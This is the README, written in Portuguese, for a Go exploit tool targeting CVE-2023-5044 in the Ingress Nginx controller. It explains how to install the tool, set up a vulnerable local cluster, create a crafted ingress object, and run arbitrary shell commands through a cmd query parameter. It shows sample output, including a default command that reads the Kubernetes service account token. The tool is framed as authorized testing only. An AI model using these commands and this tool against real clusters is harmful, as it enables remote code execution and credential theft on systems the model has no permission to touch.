
Exploit de prova de conceito baseado em Go para CVE-2023-5044 no Ingress Nginx, automatizando a execução remota de código através de objetos ingress manipulados em clusters Kubernetes.
Este é um programa Go rápido para explorar o recente CVE no controlador Ingress Nginx.
Detalhes sobre como fazer isso já estão disponíveis no blog de Rory McCune em https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/, este apenas automatiza um pouco o processo e arruma o exploit para que seja um payload de execução remota de código mais flexível e genérico.
% go install github.com/4armed/cve-2023-5044@latest
Você precisará de um cluster para executá-lo, rodando uma versão vulnerável do ingress-nginx (obviamente). Se não tiver um contra o qual testar, pode criar um cluster Kind clonando este repositório e usando o Makefile na pasta deploy.
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
Se você deixar o arquivo kind.yaml como está, terá um cluster vinculado ao seu localhost nas portas 30080 e 30443.
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
A linha "checking permissions" é porque a ferramenta realiza uma Revisão de Acesso do Sujeito (Subject Access Review) para verificar se você tem permissões para criar um ingress. Se não tiver, ela sairá nesse ponto. Se você tiver acesso de edição a um ingress existente, certamente pode usar o exploit para obter comprometimento, mas é muito complexo automatizar a atualização de um ingress existente sem quebrar algo.
O caminho padrão para acionar o exploit é /4armed e ele lê e executa o valor do parâmetro de string de consulta cmd.
Ele exibirá um URL de exemplo com o comando padrão cat /var/run/secrets/kubernetes.io/serviceaccount/token. Você pode alterar isso com a flag -e ou simplesmente fornecer um valor diferente no parâmetro cmd. O exploit não é codificado. Você não precisa implantar um novo ingress.
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
O nome do objeto ingress é aleatorizado usando GenerateName, portanto preste atenção na saída e limpe depois.
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
Se você quiser apenas gerar o objeto ingress, use:
% cve-2023-5044 generate
Isso é apenas para fins de teste em um cluster para o qual você possui autorização. Se você usar contra um cluster, tenha permissão ou não, o autor não aceita qualquer responsabilidade por danos ou problemas causados. Todo cuidado foi tomado para escolher valores de caminho que não conflitem com os existentes; você pode substituí-los com flags ou alterar o código se necessário, mas ainda assim pode quebrar algo. Certifique-se de saber o que está fazendo.